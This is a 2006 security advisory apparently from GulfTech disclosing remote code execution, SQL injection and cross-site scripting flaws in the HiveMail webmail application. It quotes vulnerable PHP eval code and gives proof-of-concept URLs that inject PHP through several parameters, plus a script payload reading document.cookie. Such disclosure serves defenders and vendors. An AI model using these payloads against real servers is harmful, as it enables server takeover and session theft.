##########################################################
# GulfTech Security Research February 10, 2006
##########################################################
# Vendor : HiveMail
# URL : http://www.hivemail.com/
# Version : HiveMail <= 1.3
# Risk : Multiple Vulnerabilities
##########################################################
Description:
HiveMail is a powerful web-based email program that allows
you to offer personal email accounts to your visitors. This
makes HiveMail a popular choice for business and individuals
alike. Unfortunately there are a number of remote code
execution vulnerabilities in HiveMail due to unsafe eval
calls that may allow an attacker to compromise the underlying
web server. In addition there are also vulnerabilities that
allow an attacker to perform SQL Injection and Cross Site
Scripting attacks.
Remote Code Execution:
There are a substantial number of Remote Code Execution issues
in HiveMail that allow for an attacker to easily execute php
code on the target server. Lets have a look at the file named
addressbook.update.php @ lines 273-300
if ($_POST['cmd'] == 'remove') {
if ($contactgroupid == 0) {
eval(makeerror('error_addbookcannotremove'));
}
if (!is_array($contactcheck)) {
invalid('contacts');
}
$groupcontents = $DB_site->query_first("
SELECT contacts
FROM hive_contactgroup
WHERE contactgroupid = $contactgroupid
AND userid = $hiveuser[userid]
");
$groupcontent = explode(',', $groupcontents['contacts']);
foreach ($contactcheck as $bookid => $doit) {
if ($doit == 'yes') {
$key = array_search($bookid, $groupcontent);
array_splice($groupcontent, $key, 1);
}
}
$DB_site->query("
UPDATE hive_contactgroup
SET contacts = '".addslashes(implode(',', $groupcontent))."'
WHERE contactgroupid = $contactgroupid
AND userid = $hiveuser[userid]
");
eval(makeredirect("redirect_addbook_removeentries",
"addressbook.view.php?contactgroupid=$contactgroupid"));
}
In the above code the variable $contactgroupid is taken from
user supplied data. There are a few obstacles to bypass in
order for there to be Code Execution, but it is nothing too
complicated.
http:///hivemail/addressbook.update.phpcmd=remove&contactgroupid
=1%20--%20");phpinfo();@ob_start("&submit=1&contactcheck[]=1&con
tactcheck[]=2
The above command would successfully set $contactgroupid to
a value grater than zero, not cause an SQL Error, and eventually
get executed @ line 299. It should be noted though that even if
code execution isn't possible then SQL Injection within the same
variable $contactgroupid is. This same type of issues takes place
in a number of locations within HiveMail.
http://hivemail/addressbook.add.php?cmd=quick&messageid=1");phpin
fo();@ob_start("&popid=1&msgid=1
http://hivemail/folders.update.php?cmd=mark&folderid=0%20--%20%22)
;phpinfo();@ob_start(%22
The files calendar.event.php, index.php, pop.download.php,
read.bounce.php, rules.block.php, language.php and possibly
others contain vulnerable code very similar to that which
I pointed out earlier.
Cross Site Scripting & SQL Injection:
Hivemail is vulnerable to cross site scripting because it
makes use of unsanitized $_SERVER['PHP_SELF'] references.
http://hivemail/index.php/%22%3E%3Cscript%3Ealert(document.cookie)
;%3C/script%3E
Once logged in a malicious attacker could replace the code
above with the variable folderid containing a malicious SQL
statement and have it executed.
Solution:
The vendor was unresponsive to my contact attempts, and according
to some of the people on the HiveMail forums the project has been
fairly dormant as of late.
http://forum.hivemail.com/showthread.php?p=26745
Until an updated version of HiveMail is released users are very
strongly advised to not use this vulnerable application.
Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00098-02102006